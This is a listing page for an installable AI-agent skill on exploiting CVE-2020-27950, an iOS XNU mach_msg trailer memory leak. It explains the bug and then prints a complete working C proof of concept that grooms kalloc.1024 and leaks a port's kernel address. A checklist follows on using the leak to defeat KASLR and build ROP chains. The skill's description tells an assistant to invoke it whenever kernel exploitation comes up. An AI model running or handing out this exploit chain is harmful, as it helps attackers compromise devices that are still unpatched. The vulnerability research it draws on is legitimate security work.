# IOS Cve 2020 27950 Exploit

> iOS kernel exploitation for CVE-2020-27950 (mach_msg trailer memory leak). Use this skill whenever the user mentions iOS kernel vulnerabilities, mach_msg exploitation, kernel memory leaks, CVE-2020-27950, or wants to understand/write PoCs for XNU kernel heap-based vulnerabilities. This skill covers the vulnerability mechanics, exploit development, and practical implementation.

- Skill: `abelrguezr/ios-cve-2020-27950-exploit` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ios-cve-2020-27950-exploit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ios-cve-2020-27950-exploit/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ios-cve-2020-27950-exploit

---


# CVE-2020-27950: mach_msg Trailer Memory Leak Exploitation

A comprehensive guide to understanding and exploiting CVE-2020-27950, a kernel memory leak vulnerability in iOS XNU's Mach message trailer handling.

## Vulnerability Overview

### The Core Issue

Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct containing metadata (sequence numbers, sender token, audit token, context, access control data, labels). The vulnerability stems from:

1. The kernel **always reserves the largest possible trailer** (`MAX_TRAILER_SIZE`) in the message buffer
2. The kernel **only initializes some fields** of the trailer
3. The kernel **decides which trailer size to return** based on **user-controlled receive options**
4. Certain field initializations are **conditionally skipped** based on the trailer type requested

This creates a window where uninitialized memory (potentially containing sensitive kernel data) can leak to userland.

### Key Structures

```c
typedef struct {
    mach_msg_trailer_type_t       msgh_trailer_type;
    mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

typedef struct {
    mach_msg_trailer_type_t       msgh_trailer_type;
    mach_msg_trailer_size_t       msgh_trailer_size;
    mach_port_seqno_t             msgh_seqno;
    security_token_t              msgh_sender;
    audit_token_t                 msgh_audit;
    mach_port_context_t           msgh_context;
    int                           msgh_ad;           // ← UNINITIALIZED in certain cases
    msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```

### The Vulnerable Code Path

When generating the trailer, only some fields are initialized:

```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_labels.sender = 0;
// Note: msgh_ad is NOT initialized here
```

Later, in `ipc_kmsg_add_trailer()`, the trailer size is calculated and additional fields may be filled:

```c
if (!(option & MACH_RCV_TRAILER_MASK)) {
    return trailer->msgh_trailer_size;
}

trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
    trailer->msgh_ad = 0;  // ← Only initialized if option >= 7
}

if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
    trailer->msgh_labels.sender = 0;
}
```

### The Exploit Condition

The `option` parameter is user-controlled. The trailer element constants are:

```c
#define MACH_RCV_TRAILER_NULL   0
#define MACH_RCV_TRAILER_SEQNO  1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT  3
#define MACH_RCV_TRAILER_CTX    4
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK        ((0xf << 24))
```

**The vulnerability:** If you pass an `option` value of **5 or 6**:
- It passes the first `if` check (bits 24-27 are non-zero)
- It does NOT enter the `if` that initializes `msgh_ad` (requires >= 7)
- `msgh_ad` remains uninitialized, potentially leaking stale kernel memory

## Exploitation Technique

### Heap Reuse Strategy

The exploit uses a classic heap reuse pattern:

1. **Send a "big" message** with many port descriptors → allocates a `kalloc.1024` chunk containing kernel pointers
2. **Receive/discard it** with zero buffer → frees the chunk, leaving kernel pointers as stale data
3. **Send a "small" message** → reuses the same size class, but with fewer descriptors
4. **Receive with invalid trailer option (5)** → trailer's `msgh_ad` field overlaps with stale pointer data
5. **Adjust message size** to control overlap offset and leak different bytes of the pointer

### Why This Works

When you send a Mach message with port descriptors:
- Userland: `name` field contains an unsigned int (port name)
- Kernel: `name` field becomes an `ipc_port*` pointer
- The kernel stores these pointers in the `ipc_kmsg_t` structure
- When freed, these pointers remain in the heap chunk as stale data
- When reused with a smaller message, the trailer can overlap this stale data

## Complete Exploit Implementation

### Kernel Address Leak PoC

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>

#define LEAK_PORTS 50
#define MAX_TRAILER_SIZE 128

typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;

typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;

int main(int argc, char *argv[]) {
    mach_port_t port;      // receive port
    mach_port_t sent_port; // port whose kernel address we leak

    // Create receive right with send right
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

    // Create port to leak
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
    mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);

    printf("[*] Target port: 0x%x\n", sent_port);

    message_big_t   *big_message   = NULL;
    message_small_t *small_message = NULL;

    mach_msg_size_t big_size   = (mach_msg_size_t)sizeof(*big_message);
    mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);

    big_message   = malloc(big_size   + MAX_TRAILER_SIZE);
    small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

    // Prepare big message with 50 port descriptors
    memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
    big_message->header.msgh_remote_port = port;
    big_message->header.msgh_size        = big_size;
    big_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    big_message->body.msgh_descriptor_count = LEAK_PORTS;

    for (int i = 0; i < LEAK_PORTS; i++) {
        big_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
        big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        big_message->sent_ports[i].name        = sent_port;
    }

    // Prepare small message with fewer descriptors
    memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
    small_message->header.msgh_remote_port = port;
    small_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;

    for (int i = 0; i < LEAK_PORTS - 10; i++) {
        small_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
        small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        small_message->sent_ports[i].name        = sent_port;
    }

    uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
    mach_msg_mac_trailer_t *trailer;
    uintptr_t sent_port_address = 0;

    // ========== LEAK LOW 32 BITS ==========
    printf("[*] Sending big message (allocates kalloc.1024 with pointers)\n");
    mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Discarding message (frees chunk, leaves stale pointers)\n");
    mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    // Small message reuses the chunk, +4 shift for overlap
    small_message->header.msgh_size = small_size + sizeof(uint32_t);
    printf("[*] Sending small message (reuses chunk)\n");
    mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Receiving with trailer option 5 (leaks msgh_ad)\n");
    memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
    mach_msg((mach_msg_header_t *)buffer,
             MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
             0,
             small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE,
             port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
    sent_port_address |= (uint32_t)trailer->msgh_ad;

    // ========== LEAK HIGH 32 BITS ==========
    printf("[*] Sending big message again\n");
    mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Discarding again\n");
    mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    // +8 total shift for high bytes
    small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
    printf("[*] Sending small message with +8 shift\n");
    mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Receiving with trailer option 5\n");
    memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
    mach_msg((mach_msg_header_t *)buffer,
             MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
             0,
             small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
             port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
    sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;

    printf("[+] Port 0x%x has kernel address: 0x%lX\n", sent_port, sent_port_address);

    return 0;
}
```

## Exploit Development Checklist

When developing exploits for this vulnerability:

1. **Verify the target is vulnerable**
   - Check iOS version (affected: iOS 13.x through early iOS 14.x)
   - Confirm kernel hasn't patched the trailer initialization

2. **Set up the heap state**
   - Use `kalloc.1024` size class (empirically reliable)
   - Send messages with enough port descriptors to fill the chunk
   - Ensure predictable allocation patterns

3. **Control the overlap**
   - Adjust `msgh_size` to shift where the trailer lands
   - Use +4 byte increments to leak different pointer bytes
   - Account for alignment and padding

4. **Handle the leak**
   - Use trailer option 5 or 6 (invalid but triggers max trailer)
   - Parse the trailer correctly (64-bit vs 32-bit variants)
   - Combine leaked bytes into full pointers

5. **Use the leaked address**
   - Calculate kernel base (if KASLR is active)
   - Use for further exploitation (ROP, gadget chains, etc.)

## Common Pitfalls

| Issue | Solution |
|-------|----------|
| Leak returns garbage | Verify heap reuse is working; check message sizes |
| Crash on receive | Ensure buffer is large enough for max trailer |
| Inconsistent leaks | Add heap spraying; use more port descriptors |
| Wrong pointer bytes | Adjust `msgh_size` offset; verify alignment |

## References

- [Synacktiv's Original Analysis](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
- [Apple Security Updates](https://support.apple.com/en-us/HT201222)
- [XNU Kernel Source](https://github.com/apple-oss-distributions/xnu)

## Related Vulnerabilities

- CVE-2021-30807: IOMobileFrameBuffer OOB
- Other mach_msg trailer vulnerabilities in XNU
- iOS kernel heap exploitation techniques

## Testing Notes

- This exploit requires a vulnerable iOS device or simulator
- Root access may be needed to verify kernel addresses
- Modern iOS versions have patched this vulnerability
- Use in educational/research contexts only

